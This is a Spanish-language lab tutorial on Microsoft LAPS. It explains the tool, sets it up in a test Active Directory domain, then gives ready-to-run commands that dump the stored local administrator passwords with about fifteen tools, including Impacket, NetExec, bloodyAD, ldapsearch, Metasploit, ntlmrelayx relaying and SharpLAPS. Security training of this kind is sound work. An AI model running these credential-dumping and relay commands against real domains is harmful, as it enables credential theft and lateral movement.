En este artículo, discutiremos el concepto de Volcado de Credenciales y LAPS (Solución de Contraseñas de Administrador Local). Profundizaremos en el mundo de la gestión de contraseñas y exploraremos cómo LAPS puede ayudar a mitigar los riesgos asociados con el uso de cuentas y contraseñas locales compartidas en un dominio. Con la creciente amenaza de ciberataques, es esencial comprender la importancia de la gestión segura de contraseñas y cómo LAPS puede ayudar a agilizar este proceso.
La Solución de Contraseñas de Administrador Local (LAPS) es una herramienta diseñada para gestionar las contraseñas de cuentas locales de computadoras unidas a un dominio. Almacena estas contraseñas de forma segura en Active Directory (AD) y las protege mediante Listas de Control de Acceso (ACLs). En consecuencia, solo los usuarios autorizados pueden acceder o restablecerlas.
En configuraciones donde los usuarios deben iniciar sesión en computadoras sin credenciales de dominio, la gestión de contraseñas puede volverse desafiante y aumentar el riesgo de ataques de Pass-the-Hash (PtH). Por lo tanto, LAPS aborda el problema de usar una cuenta local compartida con la misma contraseña en todas las computadoras de un dominio. Asigna una contraseña única y generada aleatoriamente a la cuenta de administrador local en cada máquina. Como resultado, los administradores de dominio pueden controlar qué usuarios, como el personal de soporte técnico, pueden ver estas contraseñas.
LAPS agiliza la gestión de contraseñas mientras refuerza las defensas contra amenazas cibernéticas. Específicamente, reduce el riesgo de movimiento lateral dentro de una red, una vulnerabilidad que surge cuando se utilizan las mismas credenciales administrativas locales en múltiples computadoras. Almacena las contraseñas de la cuenta de administrador local de cada computadora en Active Directory dentro de un atributo confidencial vinculado al objeto de AD de la computadora. Además, las computadoras actualizan su información de contraseña en AD, y los administradores de dominio asignan permisos de lectura a usuarios o grupos específicos, como equipos de soporte técnico.
Con LAPS, las contraseñas de administrador local en computadoras unidas a dominio se gestionan automáticamente, asegurando que sean únicas, creadas aleatoriamente y almacenadas de forma segura en Active Directory. Dado que está construido completamente en infraestructura de AD, LAPS no requiere tecnologías adicionales. Además, depende de una extensión del lado del cliente de Directiva de Grupo (CSE) instalada en las computadoras gestionadas para manejar todas las tareas, e incluye herramientas de gestión que simplifican la configuración y supervisión.
En esencia, LAPS utiliza una extensión del lado del cliente de Directiva de Grupo (CSE) que realiza funciones clave durante una actualización de Directiva de Grupo. Primero, verifica si la contraseña de la cuenta de Administrador local ha expirado. Si ha expirado o necesita cambiar de forma preventiva, la CSE genera inmediatamente una nueva contraseña y asegura que cumpla con la política de contraseñas. Luego, la CSE actualiza Active Directory con la nueva contraseña, la almacena como un atributo confidencial vinculado a la cuenta de la computadora y registra la próxima fecha de expiración de la contraseña en un atributo separado. Adicionalmente, actualiza la contraseña de la cuenta de Administrador en la computadora. Finalmente, los usuarios autorizados pueden recuperar la contraseña de Active Directory o solicitar un restablecimiento de contraseña para una máquina específica según sea necesario.
Crear el Entorno AD:
Para simular un entorno de Active Directory, necesitará un Windows Server como Controlador de Dominio (DC) y una máquina cliente (Windows o Linux) donde pueda ejecutar herramientas de enumeración y explotación.
Las unidades organizativas (OU) en un dominio gestionado por Servicios de Dominio de Active Directory (AD DS) permiten agrupar lógicamente objetos como cuentas de usuario, cuentas de servicio o cuentas de computadora. Luego puede asignar administradores a OU específicas y aplicar directivas de grupo para imponer configuraciones específicas.
Abrir Usuarios y Equipos de Active Directory (ADUC) en el Controlador de Dominio.
Haga clic derecho en Dominio (Ignite.local) y haga clic en Nuevo, y luego haga clic en Unidad Organizativa.
Asigne el nombre de la OU como Tech.
Crear en: ignite.local/
Nombre:
- Tech
- Proteger contenedor de eliminación accidental
OK Cancelar Ayuda
Agregue su máquina cliente a la OU Tech.
En Usuarios y Equipos de Active Directory, bajo la OU Tech, debería ver su máquina cliente listada.
Antes de comenzar con la fase de volcado de credenciales, necesitamos configurar LAPS en nuestro Windows Server 2016 o máquina Windows 10. Necesitamos realizar 3 tareas específicas que incluyen la instalación del cliente completo de LAPS, la configuración del Módulo de PowerShell y la implementación de plantillas de Directiva de Grupo.
Obtenga la última versión de LAPS desde el Centro de Descargas de Microsoft.
Ejecute el instalador .msi y seleccione:
Complete la instalación.
Abra la Consola de Gestión de Directivas de Grupo (GPMC).
Cree un nuevo GPO o edite uno existente.
Navegue a: Configuración de Equipo → Plantillas Administrativas → LAPS.
Configure las siguientes configuraciones (captura de pantalla a continuación):
Configuración de Contraseña: Establecer en Habilitado
Complejidad de Contraseña → Letras mayúsculas + letras minúsculas + números + caracteres especiales
Longitud de Contraseña → Establecer longitud (por defecto: 14).
Antigüedad de Contraseña (Días) → Definir la expiración (por ejemplo, 30 días).
Habilite Nombre de cuenta de administrador para gestionar → Establecer en Habilitado. Y establezca el nombre de la cuenta de administrador, en este caso, ieuser.
Habilite Gestión de contraseñas de administrador local → establecer en Habilitado.
Para que todos los cambios en la política estén activos, necesitamos realizar una actualización de Directiva de Grupo como se muestra en la imagen a continuación:
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Administrator>gpupdate /force
Actualizando política...
La actualización de la política de equipo se ha completado correctamente.
Abra PowerShell como Administrador en el DC y ejecute el siguiente comando para actualizar el esquema:
powershell -ep bypass
Import-Module AdmPwd.PS
Update-AdmPwdADSchema
Esto creará dos nuevos atributos en Active Directory (AD):
Permitir que las Computadoras Actualicen Sus Propias Contraseñas
Set-AdmPwdComputerSelfPermission -OrgUnit Tech
Conceder Acceso a los Administradores para Ver Contraseñas
Set-AdmPwdReadPasswordPermission -OrgUnit Tech -AllowedPrincipals Administrators
Ejemplo de salida de PowerShell:
PS C:\Users\Administrator> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator> Import-Module AdmPwd.PS
PS C:\Users\Administrator> Update-AdmPwdADSchema
Operación DistinguishedName Estado
--------- ----------------- ------
AddSchemaAttribute CN=ms-MCS-AdmPwdExpirationTime,CN=Schema,CN=Configurati... Éxito
AddSchemaAttribute CN=ms-MCS-AdmPwd,CN=Schema,CN=Configuration,DC=ignite,... Éxito
ModifySchemaClass CN=Computer,CN=Schema,CN=Configuration,DC=ignite,DC=local Éxito
PS C:\Users\Administrator> Set-AdmPwdComputerSelfPermission -OrgUnit Tech
Nombre DistinguishedName Estado
------ ----------------- ------
Tech OU=Tech,DC=ignite,DC=local Delegado
PS C:\Users\Administrator> Set-AdmPwdReadPasswordPermission -OrgUnit Tech -AllowedPrincipals Administrators
Nombre DistinguishedName Estado
------ ----------------- ------
Tech OU=Tech,DC=ignite,DC=local Delegado
Instale LAPS en todas las máquinas cliente mediante GPO, SCCM o instalación manual.
Asegúrese de que el agente de LAPS esté ejecutándose ejecutando:
gpupdate /force
Ejemplo de salida:
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\raj>gpupdate /force
Actualizando política...
La actualización de la política de equipo se ha completado correctamente.
La actualización de la política de usuario se ha completado correctamente.
C:\Users\raj>
Ahora, para asegurarse de que funciona correctamente, verifiquemos la contraseña asignada por LAPS a la Máquina Cliente (MSEDGEWIN10) en sus propiedades. Como puede observar en la imagen a continuación, LAPS ha asignado una contraseña aleatoria a la Máquina Cliente (MSEDGEWIN10).
Abra Usuarios y Equipos de Active Directory (ADUC) en el Controlador de Dominio.
Localice la Máquina Cliente (MSEDGEWIN10) en la OU Tech.
En sus propiedades, haga clic en Editor de atributos.
Debería ver el atributo ms-Mcs-AdmPwd con una contraseña generada aleatoriamente.
Intro: Configurar un usuario (raj) para recuperar contraseñas gestionadas por LAPS desde AD. Esto no es un ataque en sí mismo—es una acción administrativa legítima si la realiza un administrador autorizado. Sin embargo, si un atacante obtiene control de la cuenta raj o realiza estos pasos sin autorización, podría conducir a un ataque de escalada de privilegios o robo de credenciales de las siguientes maneras:
Crear el Usuario de Dominio
Cree una cuenta de usuario de AD llamada Raj.
net user raj Password@1 /add /domain
LAPS almacena las contraseñas de administrador local en el atributo ms-Mcs-AdmPwd, que está protegido por defecto. Solo grupos específicos (por ejemplo, Administradores de Dominio) o usuarios delegados explícitamente pueden leerlo.
La cuenta win1 no tenía permiso para leer este atributo, por lo que está creando un nuevo usuario (raj) y otorgando los permisos mínimos necesarios para recuperar las contraseñas de LAPS.
Abra ADUC. Navegue a OU Tech bajo el dominio. Debería ver la Máquina Cliente (MSEDGEWIN10) listada, haga clic derecho en ella y vaya a propiedades.
Vaya a la pestaña Seguridad y haga clic en el botón Agregar.
En el cuadro "Ingrese el nombre del objeto para seleccionar", escriba raj y haga clic en Comprobar nombres y luego en Aceptar.
Seleccione el usuario Raj y haga clic en la opción avanzada.
En la sección Permisos, marque la casilla para el permiso Todos los derechos extendidos.
Aplique la configuración.
Ahora hemos terminado con la configuración del entorno de laboratorio para LAPS en Windows.
Usar BloodHound para Confirmar Privilegios: Puede usar BloodHound para verificar que Raj tiene el permiso AllExtendedRights para la Máquina Cliente (MSEDGEWIN10).
bloodhound-python -u raj -p Password@1 -ns 192.168.1.48 -d ignite.local -c All
Desde la representación gráfica de Bloodhound, el evaluador querría identificar el control de objetos salientes para el usuario seleccionado donde el primer grado de valor de control de objetos es igual a 1.
Puede ver el resultado, el usuario Raj tiene Todos los derechos extendidos.
Si navega a la sección de ayuda, encontrará la explicación sobre qué vulnerabilidades podría tener esta configuración y cómo puede atacar aprovechando esto.
Usemos varias otras herramientas para realizar el ataque y recuperar la contraseña de administrador local, que es establecida por la herramienta LAPS.
El conjunto de herramientas Impacket es una colección de bibliotecas y scripts de Python diseñados para trabajar con protocolos de red, particularmente aquellos utilizados en entornos Windows, como SMB, Kerberos, LDAP y NTLM.
impacket-GetLAPSPassword ignite.local/raj:Password@1 -dc-ip 192.168.1.48
NXC, abreviatura de NetExec, es una herramienta basada en Python que automatiza la explotación de servicios de red como SMB, LDAP, WinRM, RDP, WMI, MSSQL y más. Está diseñada para agilizar las pruebas de penetración internas al proporcionar una interfaz unificada para interactuar con protocolos Windows, muy similar a Impacket, pero con un enfoque en soporte multiprotocolo y extensiones modulares.
nxc ldap "192.168.1.48" -d "ignite.local" -u "raj" -p "Password@1" --module laps
GitHub - p0dalirius/pyLAPS: Setter/Getter de Python para la propiedad ms-Mcs-AdmPwd utilizada por LAPS.
Este script es un setter/getter de Python para la propiedad ms-Mcs-AdmPwd utilizada por LAPS, inspirado en SharpLAPS de @swisskyrepo en C#.
Clonar el repositorio:
git clone https://github.com/p0dalirius/pyLAPS
cd pyLAPS
chmod 777 pyLAPS.py
Ejecutar el script
./pyLAPS.py --action get -d "192.168.1.48" -u "raj" -p "Password@1"
GitHub - n00py/LAPSDumper: Volcado de LAPS desde Python
Clonar el repositorio:
git clone https://github.com/n00py/LAPSDumper
cd LAPSDumper
chmod 777 laps.py
Ejecutar el script
python laps.py -u 'raj' -p 'Password@1' -d 'ignite.local'
BloodyAD es un framework de escalada de privilegios de Active Directory (AD) de código abierto diseñado para ayudar a profesionales de seguridad, probadores de penetración y equipos rojos a identificar y explotar rutas de escalada de privilegios dentro de entornos AD.
bloodyAD --host "192.168.1.48" -d "ignite.local" -u "raj" -p "Password@1" get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
ldapsearch es una herramienta de línea de comandos utilizada para consultar y recuperar información de un servicio de directorio LDAP (Lightweight Directory Access Protocol), como Active Directory (AD) o un servidor OpenLDAP. Es parte de la suite de software OpenLDAP y es ampliamente utilizada por administradores de sistemas, profesionales de seguridad y probadores de penetración para interactuar con directorios LDAP, extraer datos (por ejemplo, cuentas de usuario, membresías de grupo o atributos como contraseñas LAPS) y solucionar problemas relacionados con el directorio. ldapsearch le permite realizar búsquedas basadas en filtros, recuperar atributos específicos y autenticarse en el directorio utilizando varios métodos.
ldapsearch -x -H ldap://192.168.1.48 -D "raj@ignite.local" -w "Password@1" -b "dc=ignite,dc=local" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd
Este módulo (auxiliary/gather/ldap_query) permite a los usuarios consultar un servidor LDAP usando una consulta LDAP personalizada o un conjunto de consultas LDAP bajo una categoría específica.
use auxiliary/gather/ldap_query
set rhosts 192.168.1.48
set username raj
set password Password@1
set domain ignite.local
set action ENUM_LAPS_PASSWORDS
run
Este módulo realiza los ataques de Relay SMB descubiertos originalmente por cDc, extendidos a muchos protocolos objetivo (SMB, MSSQL, LDAP, etc.)
Alternativamente, el ntlmrelayx de Impacket también tiene esa característica, utilizable con --dump-laps.
impacket-ntlmrelayx -t ldaps://192.168.1.48 -debug --dump-laps --no-dump --no-da --no-acl --no-validate-privs
Después de una breve espera, recibimos una conexión HTTP desde la cuenta del usuario Raj junto con la contraseña de LAPS.
Este proyecto es un fork de ldap_shell de Impacket. Proporciona una shell interactiva para la enumeración y manipulación de Active Directory a través de protocolos LDAP/LDAPS, haciéndolo útil tanto para administradores de sistemas como para profesionales de seguridad.
Esto también se puede lograr usando ldap_shell:
Clonar el repositorio e instalar:
git clone https://github.com/PShlyundin/ldap_shell
cd ldap_shell
python3 -m pipx install .
Use la opción get_laps_gmsa después de obtener una shell como el usuario raj.
ldap_shell ignite.local/raj:Password@1 -dc-ip 192.168.1.48
Descargar Get-LAPSPasswords
Powershell -ep bypass
Import-Module .\Get-LAPSPasswords.ps1
Get-LAPSPasswords -DomainController 192.168.1.48 -Credential IGNITE\raj | Format-Table -Autosize
Descargar | NetTools
NetTools es una herramienta gratuita de solución de problemas de Active Directory, que proporciona la capacidad de solucionar problemas, consultar, informar y actualizar Active Directory y otros directorios basados en LDAP.
Dentro de NetTools, puede navegar para ver los atributos de la computadora, incluida la contraseña de LAPS.
Descargar Sharplaps
Este ejecutable está hecho para ejecutarse dentro de una sesión de Cobalt Strike usando execute-assembly. Recuperará la contraseña de LAPS de Active Directory.
C:\Users\raj\Downloads>SharpLAPS.exe /user:IGNITE\raj /pass:Password@1 /host:192.168.1.48
Este módulo (post/windows/gather/credentials/enum_laps) recuperará las contraseñas de LAPS (Solución de Contraseñas de Administrador Local), configuradas en Active Directory, a las que generalmente solo pueden acceder usuarios privilegiados. Tenga en cuenta que el nombre de la cuenta de administrador local no se almacena en Active Directory, por lo que se supone que es 'Administrador' por defecto.
use post/windows/gather/credentials/enum_laps
set session 1
run
PowerView es una herramienta de PowerShell para obtener conciencia situacional de la red en dominios Windows.
Descargar Powerview
Import-Module \PowerView.ps1
Get-DomainComputer MSEDGEWIN10 -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
Explorador de Active Directory (AD Explorer) es un visor y editor avanzado de Active Directory (AD). Puede usar AD Explorer para navegar fácilmente por una base de datos de AD, definir ubicaciones favoritas, ver propiedades y atributos de objetos sin tener que abrir cuadros de diálogo, editar permisos, ver el esquema de un objeto y ejecutar búsquedas sofisticadas que puede guardar y volver a ejecutar.
AD Explorer - Sysinternals | Microsoft Learn